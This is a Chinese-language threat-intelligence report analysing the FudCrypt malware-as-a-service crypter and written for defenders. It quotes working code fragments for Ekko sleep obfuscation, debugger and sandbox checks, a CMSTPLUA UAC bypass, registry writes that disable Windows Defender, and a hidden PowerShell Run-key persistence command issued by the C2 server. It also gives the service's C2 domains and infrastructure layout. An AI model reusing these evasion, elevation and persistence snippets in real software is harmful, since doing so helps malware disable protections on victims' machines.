摘要

報告提供了對 FudCrypt(一個複雜的惡意軟體即服務平台, Malware-as-a-Service, MaaS)的全面技術分析。我們深入探討其多階段部署、先進的閃避技術以及獨特的加密實作。分析涵蓋其基礎架構、建置流程、攻擊鏈,以及特定的防禦閃避機制,例如 DLL 側載、API 雜湊、模組踐踏與三層解密。此外,我們檢視了 FudCrypt 的反分析檢查與持久性機制。此報告也與其他先進的遠端存取木馬(Remote Access Trojans, RATs)進行比較,以突顯現代惡意軟體開發中的共同性與差異。此研究目的在增進對當代惡意軟體能力的理解,並為更有效的防禦策略提供參考。

你的 EDR 看得見嗎?FudCrypt 用 PEB 假冒與 Ekko 睡眠混淆打穿記憶體偵測 | 資訊安全新聞

1. 簡介

FudCrypt 已成為一個知名的惡意軟體即服務平台,為網路犯罪分子提供強大的工具集,用以加密任意的 Windows 執行檔,從而閃避安全解決方案的偵測。此服務提供了一個為隱匿性與持久性設計的多階段部署套件。透過已恢復的伺服器端資料觀察,此平台的營運模式揭示了一個支援其非法活動的複雜生態系統 [1] 。此報告聚焦於 FudCrypt 的技術細節,剖析其核心元件與方法,以提供對其功能與閃避策略的詳細理解。

2. FudCrypt 技術架構

FudCrypt 採用複雜的架構,其特點在於分層加密、先進的防禦閃避以及持久執行機制。該服務整合多種技術,以確保傳遞的 malicious payload 在目標系統上不被偵測並達成目標。

2.1. 加密與多型技術

FudCrypt 利用 每次建置皆不同的多型加密 方案,這是其閃避能力的基石。此方案涉及三層加密程序:XOR-32,接著是 RC4-16,然後是客製化的 S-box 轉換。關鍵的是,這些加密層的金鑰和 S-box 會為每次建置重新生成,確保其獨特性並阻礙靜態分析 [1] new_builder.py 原始碼進一步指出使用 BCrypt AES-256-CBC 進行加密,keys 是每次建置使用 os.urandom(32) 為 AES 生成,並使用 os.urandom(16) 為 Initialization Vector (IV) 生成 [1] 。這種動態金鑰生成確保編譯後的執行檔中沒有嵌入客製化的加密常數,使得安全研究人員更難對加密方案進行逆向工程。

2.2. 防禦閃避堆疊

FudCrypt 的防禦閃避堆疊相當全面,結合多種技術以繞過端點偵測與回應系統(Endpoint Detection and Response, EDR)及其他安全措施。關鍵元件包括:

  • API 雜湊與字串混淆 :用以模糊 API 呼叫的意圖,並使字串字面量難以分析。
  • AMSI 與 ETW 干擾 :使用對 AMSI(Antimalware Scan Interface) 的直接記憶體修補和硬體斷點方法(Hardware breakpoint methods),以及對 ETW(Event Tracing for Windows) 的修補,來停用或干擾這些安全功能 [1]
  • PEB 假冒 :利用 Process Environment Block (PEB) 假冒技術,透過讓惡意程序看起來像合法的系統程序(例如 explorer.exe )來隱藏它 [1]
  • Module Stomping :此技術涉及就地覆寫合法 DLL 的 .text 區段,避開 PAGE_EXECUTE_READWRITE 記憶體區域。這有助於閃避利用記憶體的偵測,因為惡意程式碼會駐留在通常與合法程式碼關聯的記憶體區域中 [1]
  • Fiber/Callback 執行 :利用 fibers 和 Win32 callback 派發機制來執行,有助於混淆執行流程並降低被偵測的範圍 [1]
  • Ekko Sleep Obfuscation :此技術涉及在睡眠間隔期間變更記憶體頁面保護並對 Payload 位元組進行 XOR 遮罩。在睡眠期間嘗試讀取該區域的掃描器將收到存取違規錯誤,除非它先恢復保護,並且在該時間視窗內 payload 位元組會被 XOR 遮罩 [1]

2.3. 階段 1:DLL 側載

FudCrypt 利用 DLL side-loading 作為其初始感染向量。該服務提供 20 個未公開的 carrier profiles,其中 Malicious payload 會在已簽章的程序內部執行。此技術利用合法的應用程式,將 Malicious DLL 放置在合法應用程式預期載入其自身 DLL 的位置,從而誘騙該應用程式載入並執行惡意程式碼 [1] 。一個引用的範例是將 mpclient.dll 與重新命名的 Defender 包裝程式 WindowsDF.exe 配對使用 [1]

2.4. 階段 3:三層解密與記憶體內執行

在初步閃避之後,FudCrypt 進入其第三階段,該階段涉及 三層解密與記憶體內執行 。每次建置都帶有新隨機金鑰的多層加密 payload 會在記憶體中被解密。然後使用各種記憶體內技術執行此解密後的 payload,包括原生 PE 對映、CLR 託管、fibers 以及 Win32 callback 派發。這些方法目的在避免將 payload 寫入磁碟,進一步減少其足跡並提高閃避能力 [1]

3. 程式碼分析

這一節分析從 FudCrypt 分析中選取的程式碼片段,重點說明其實作的關鍵技術層面。

3.1. Ekko Sleep Obfuscation

Ekko sleep obfuscation 技術對於 FudCrypt 的閃避至關重要。它涉及在睡眠狀態期間操作記憶體保護並對 payload 進行 XOR 遮罩。這使得安全工具難以在 payload 休眠時對其進行檢查。

  1. // Original code snippet from [1]
  2. void Ekko(DWORD sleepMs, PVOID payloadBase, SIZE_T payloadSize, PBYTE sleepKey)
  3. {
  4. DWORD oldProt;
  5. VirtualProtect(payloadBase, payloadSize, PAGE_NOACCESS, &oldProt);
  6. Sleep(sleepMs);
  7. VirtualProtect(payloadBase, payloadSize, PAGE_READWRITE, &oldProt);
  8. for (SIZE_T i = 0; i < payloadSize; i++)
  9. ((BYTE*)payloadBase)[i] ^= sleepKey[i % 16];
  10. VirtualProtect(payloadBase, payloadSize, PAGE_EXECUTE_READ, &oldProt);
  11. }

分析:

  • VirtualProtect(payloadBase, payloadSize, PAGE_NOACCESS, &oldProt); :此行將 payload 記憶體區域的保護變更為 PAGE_NOACCESS 。這意味著任何對此記憶體區域的讀取或執行嘗試都將導致存取違規,從而在睡眠期間有效地向掃描器隱藏 payload。
  • Sleep(sleepMs); :執行暫停指定的時間長度,在此期間 payload 受到保護。
  • VirtualProtect(payloadBase, payloadSize, PAGE_READWRITE, &oldProt); :在解密之前,記憶體保護暫時變更為 PAGE_READWRITE 以允許修改 payload。
  • for (SIZE_T i = 0; i < payloadSize; i++) ((BYTE*)payloadBase)[i] ^= sleepKey[i % 16]; :此迴圈使用 sleepKey 對 payload 執行逐位元組的 XOR 解密。模數運算 i % 16 表明一個 16 位元組的金鑰被週期性地重複使用。
  • VirtualProtect(payloadBase, payloadSize, PAGE_EXECUTE_READ, &oldProt); :解密後,記憶體保護恢復為 PAGE_EXECUTE_READ ,允許執行 payload。

3.2. 反沙箱與反除錯檢查

FudCrypt 包含一個專用的 is_safe_to_run() 函數來執行各種反分析檢查。如果任何檢查傳回 false,stager 會靜默退出,防止在受控環境中進行分析。

  1. // Original code snippet from [1]
  2. // 1. Debugger presence
  3. BOOL dbg = FALSE;
  4. CheckRemoteDebuggerPresent(GetCurrentProcess(), &dbg);
  5. if (IsDebuggerPresent() || dbg) return FALSE;
  6. // 2. Timing check - 1M iterations must complete in < 500ms (debugger slows this)
  7. DWORD t1 = GetTickCount();
  8. volatile int acc = 0;
  9. for (int i = 0; i < 1000000; i++) acc += i;
  10. if ((GetTickCount() - t1) > 500) return FALSE;
  11. // 5. Known sandbox DLLs
  12. const char* badDlls[] = {"sbiedll.dll","api_log.dll","dir_watch.dll","vmcheck.dll",
  13. "SxIn.dll","snxhk.dll","cmdvrt32.dll","cuckoomon.dll",NULL};
  14. for (int i = 0; badDlls[i]; i++) if (GetModuleHandleA(badDlls[i])) return FALSE;
  15. // 6. Memory < 1 GB = sandbox
  16. // if (ms.ullTotalPhys < 1073741824ULL) return FALSE;
  17. // 7. Disk < 32 GB = sandbox
  18. // if (tb.QuadPart < 34359738368ULL) return FALSE;

分析:

  • Debugger 存在 IsDebuggerPresent() CheckRemoteDebuggerPresent() 是標準的 Windows API 呼叫,用於偵測 debugger 是否附加到當前程序。如果偵測到,惡意軟體會終止。
  • 時序檢查 :此檢查會測量完成一百萬次簡單迴圈所需的時間。在 debugger 或虛擬化環境中,此操作通常比在原生環境中花費更長時間,可作為分析環境的指標。這裡使用的閾值是 500 毫秒。
  • 已知的沙箱 DLL :惡意軟體嘗試載入與沙箱工具關聯的已知 DLL(例如 sbiedll.dll cuckoomon.dll )。如果找到任何這些 DLL,則表示處於沙箱環境中,惡意軟體會退出。
  • 系統資源檢查 :雖然在程式碼片段中被註解掉,但原始文章提到了系統記憶體( < 1 GB )和磁碟空間( < 32 GB )的檢查。這些是識別資源受限的虛擬機器或沙箱的常見啟發式方法。

3.3. 透過 CMSTPLUA 繞過 UAC

FudCrypt 嘗試使用 CMSTPLUA COM 介面來提升權限,這是一個有詳細文件說明的 UAC 繞過技術。

  1. // Original code snippet from [1]
  2. CoGetObject(
  3. L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}",
  4. (BIND_OPTS*)&bo, &hIID_ICMLuaUtil, (void**)&pUtil
  5. );
  6. pUtil->lpVtbl->ShellExec(pUtil, program, args, NULL, 0, SW_HIDE);

分析:

  • CoGetObject(...) :此函數用於啟用 COM 物件。字串 L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" 指定了 CMSTPLUA COM 伺服器,該伺服器在被受信任的程序實例化時已知會自動提升權限。這允許惡意軟體在不提示使用者的情況下獲得管理員權限。
  • pUtil->lpVtbl->ShellExec(...) :一旦獲得 ICMLuaUtil 介面,就會呼叫其 ShellExec 方法,以提升的權限執行下一階段的 payload。 SW_HIDE 確保執行過程對使用者隱藏。

3.4. 透過群組原則篡改 Windows Defender

如果權限提升成功,FudCrypt 會嘗試透過修改群組原則設定來停用 Windows Defender。

  1. // Original code snippet from [1]
  2. SetRegDword(HKLM, wdPath, L"DisableAntiSpyware", 1);
  3. SetRegDword(HKLM, wdPath, L"DisableAntiVirus", 1);
  4. SetRegDword(HKLM, wdPath + L"\\Real-Time Protection", L"DisableRealtimeMonitoring", 1);
  5. SetRegDword(HKLM, wdPath + L"\\Real-Time Protection", L"DisableBehaviorMonitoring", 1);
  6. SetRegDword(HKLM, wdPath + L"\\Spynet", L"SpynetReporting", 0);
  7. SetRegDword(HKLM, wdPath + L"\\Spynet", L"SubmitSamplesConsent", 2);
  8. SetRegDword(HKLM, wdPath + L"\\Exclusions\\Paths", L"C:\\", 0);
  9. CreateProcessW(NULL, L"gpupdate.exe /force", ..., SW_HIDE);
  10. WaitForSingleObject(pi.hProcess, 15000);

分析:

  • SetRegDword(HKLM, wdPath, L"DisableAntiSpyware", 1); SetRegDword(HKLM, wdPath, L"DisableAntiVirus", 1); :這些行嘗試透過在 HKEY_LOCAL_MACHINE (HKLM) 下設定特定的登錄值來停用 Windows Defender 的反間諜軟體和防毒功能。
  • DisableRealtimeMonitoring DisableBehaviorMonitoring :這些設定針對 Real-Time Protection 子機碼,以停用即時和行為分析的監控。
  • SpynetReporting SubmitSamplesConsent :這些修改目的在停用向 Microsoft 雲端防護服務的回報,並控制樣本提交(Sample submission)。
  • Exclusions\Paths L"C:\\", 0 :這嘗試將整個 C 磁碟機新增到 Defender 的排除清單中,從而有效地阻止其掃描系統。
  • CreateProcessW(NULL, L"gpupdate.exe /force", ..., SW_HIDE); :修改登錄後,執行 gpupdate /force 以立即套用新的群組原則設定,確保 Defender 的停用生效。

3.5. Fleet Server 持久性命令

FudCrypt fleet server 在註冊時向 agents 發出一個持久性命令,以確保惡意軟體在受感染的系統上維持其存在。

  1. # Original code snippet from [1]
  2. if msg_type == "register":
  3. await db_op(_register)
  4. persist_cmd = (
  5. 'powershell -WindowStyle Hidden -Command "'
  6. '$p=(Get-Process -Id $PID).Path; '
  7. 'if($p){Set-ItemProperty '
  8. '-Path HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run '
  9. '-Name WindowsUpdateSvc -Value $p -EA 0}"'
  10. )
  11. await websocket.send_text(json.dumps({
  12. "type": "command",
  13. "command_id": str(uuid.uuid4()),
  14. "command": persist_cmd
  15. }))

分析:

  • if msg_type == "register": :此條件確保在 new agent 向 C2 server 註冊時發出持久性命令。
  • persist_cmd = (...) :這定義了一個目的在實現持久性的 PowerShell 命令。它取得當前程序的路徑 ( $p=(Get-Process -Id $PID).Path; ),然後使用 Set-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run 登錄機碼中新增一個項目。該項目命名為 WindowsUpdateSvc ,其值為惡意軟體可執行檔的路徑。這確保每次使用者登入時惡意軟體都會自動啟動。
  • await websocket.send_text(...) :然後將 PowerShell 命令包裹在一個 JSON 物件中,並透過 WebSocket 連線發送給已註冊的 agent。

4. FudCrypt 運作流程與基礎架構

FudCrypt 的運作涉及一個複雜的建置流程和一個具韌性的命令與控制 (C2) 基礎架構。以下圖說明了這些流程。

4.1. FudCrypt 攻擊鏈

客戶端的建置鏈和執行鏈說明了 FudCrypt 加密後的 payload 的生命週期。

graph TD A[Customer uploads
PE payload] --> B[Go API -> MinIO ->
Redis build_queue] B --> C[worker.py ->
carrier selection ->
5_MultiStage_Builder.py] C --> D[Builder emits:
fresh keys + S-box +
randomised function names ->
triple encrypt ->
upload to Dropbox ->
MinGW compile] D --> E[KleenScan scan ->
output.zip ->
MinIO ->
customer downloads] E --> F[Customer distributes ZIP;
delivery method is
customer's responsibility] F --> G[On victim:
DLL sideload fires ->
DllMain ->
background thread] G --> H[Attempts:
anti-VM timing jitter ->
AMSI patch/HWBP ->
ETW byte patch ->
PEB masquerade ->
WinINet payload fetch] H --> I["Layered decrypt
(block -> RC4 -> XOR) ->
reflective PE or CLR host"] I --> J{Enterprise option:
CMSTPLUA UAC call ->
Defender GPO writes ->
gpupdate /force} J --> K[Customer's payload executes;
phones home
to the customer's own C2]

分析: 此攻擊鏈圖表改編自原始報告 [1] ,直觀地表示了從客戶上傳 payload 到最終在受害者機器上執行的各個階段。它突顯了自動化的建置過程、多層加密以及執行期間採用的一系列閃避技術。

4.2. FudCrypt 基礎架構拓撲

支援 FudCrypt 運作的基礎架構分為客戶端的服務和由營運者驅動的活動。

graph TD subgraph Internet CF[Cloudflare CDN / WAF / TLS Termination] end subgraph fudcrypt.net - Primary VPS TR[Traefik reverse proxy] Docker[Docker Compose] Host["Host processes (outside Docker)"] end subgraph Operator Signing VMs WinDallas[windows-Dallas0] WinLasVegas[windows-LasVega] WinUtahA["windows-Utah-4g (A)"] WinUtahB["windows-Utah-4g (B)"] end CF -- Account: gone-tricky-skier@duck.com --> TR TR -- fudcrypt.net (Customer storefront + portal) --> Docker TR -- api.fudcrypt.net (REST backend API) --> Docker TR -- admin.fudcrypt.net (Operator admin panel) --> Docker TR -- mstelemetrycloud.com (Fleet C2 + operator dashboard) --> Host TR -- monitoring.fudcrypt.net (Grafana) --> Docker Docker -- fud-postgres (port 5432) --> Exposed_DB[INTERNET EXPOSED] Docker -- fud-redis (port 6379) --> Exposed_Redis[INTERNET EXPOSED] Docker -- fud-minio (port 9000) --> Exposed_Minio[INTERNET EXPOSED] Docker -- fud-backend (port 8080) --> Local_API[127.0.0.1 only] Docker -- fud-frontend (port 3000) --> Local_Frontend[127.0.0.1 only] Docker -- fud-admin (port 3001) --> Local_Admin[127.0.0.1 only] Docker -- fud-worker (no exposed port) --> Redis_Queue[Pulls from Redis] Host -- Fleet server (0.0.0.0:6000) --> WebSocket_C2[FastAPI/uvicorn WebSocket C2] Host -- Fleet panel (172.18.0.1:9090) --> Local_Panel Host -- fud-worker (/opt/fud-worker/worker.py) --> Systemd_Worker WebSocket_C2 -- Manages --> Operator_Signing_VMs[Operator Signing VMs] Operator_Signing_VMs -- signtool.exe, Azure.CodeSigning.Dlib.dll, Azure CLI --> ATS[Azure Trusted Signing] Operator_Signing_VMs -- Fleet agent enrolled --> WebSocket_C2 WinDallas --> Operator_Signing_VMs WinLasVegas --> Operator_Signing_VMs WinUtahA --> Operator_Signing_VMs WinUtahB --> Operator_Signing_VMs

分析: 此圖表同樣源自原始報告 [1] ,說明了 FudCrypt 生態系統內的網路拓撲和元件互動。它區分了客戶端的平台與營運者內部的簽章和 C2 基礎架構,突顯了關鍵的暴露點,例如對外公開的 PostgreSQL、Redis 和 MinIO 服務。

5. 與先進遠端存取木馬的比較

FudCrypt 複雜的閃避和加密技術與其他先進的 Remote Access Trojans (RATs) 有相似之處。對現代 RATs 的審視揭示了惡意軟體開發中的類似趨勢,特別是在多層加密、環境感知和協定模仿方面 [2]

先進的 RATs 通常採用複雜的多階段加密方法,其中金鑰來自環境因素,使得在沒有正確執行環境的情況下進行靜態分析極具挑戰性 [2] 。這與 FudCrypt 的多型加密和動態金鑰生成相呼應。此外,諸如程式碼混淆、環境感知檢查(反虛擬機、反沙箱)和程序注入等閃避技術在各種複雜的惡意軟體家族中普遍存在 [2] 。例如,一些 RATs 利用 Windows services 來實現持久性,並模仿合法服務行為以避免偵測,這種策略在 FudCrypt 的持久性機制中也可以看到 [2]

先進 RATs 中的 C2 通訊通常涉及多層加密、協定模仿(例如模仿 HTTP/HTTPS)以及流量塑形,以融入合法的網路流量 [2] 。這與 FudCrypt 使用 mstelemetrycloud.com 作為其 fleet C2,並採用與 Microsoft 相關的字串以顯得合法的手法相符 [1] 。在 FudCrypt 中觀察到的模組化架構、先進閃避策略和複雜的通訊設計,都表明了惡意軟體發展的演變趨勢,攻擊者不斷調整以繞過當代的安全解決方案。

6. 結論

FudCrypt 代表了一個高度先進的 MaaS 平台,展示了用於惡意軟體加密和閃避的全面技術組合。其多層次的多型加密、複雜的防禦閃避堆疊(包括 AMSI/ETW 干擾、module stomping 和 Ekko sleep obfuscation)以及強大的持久性機制,凸顯了現代網路安全防禦所面臨的挑戰。此平台的運作模式,從客戶 payload 處理到營運者驅動的簽章活動,展示了一個組織良好且適應性強的 Threat actor。對其程式碼片段的技術分析進一步闡明了其反分析和權限提升能力的複雜細節。透過理解 FudCrypt 的技術深度和運作複雜性,安全專業人員可以更好地預測和應對此類先進惡意軟體服務所帶來的不斷演變的威脅。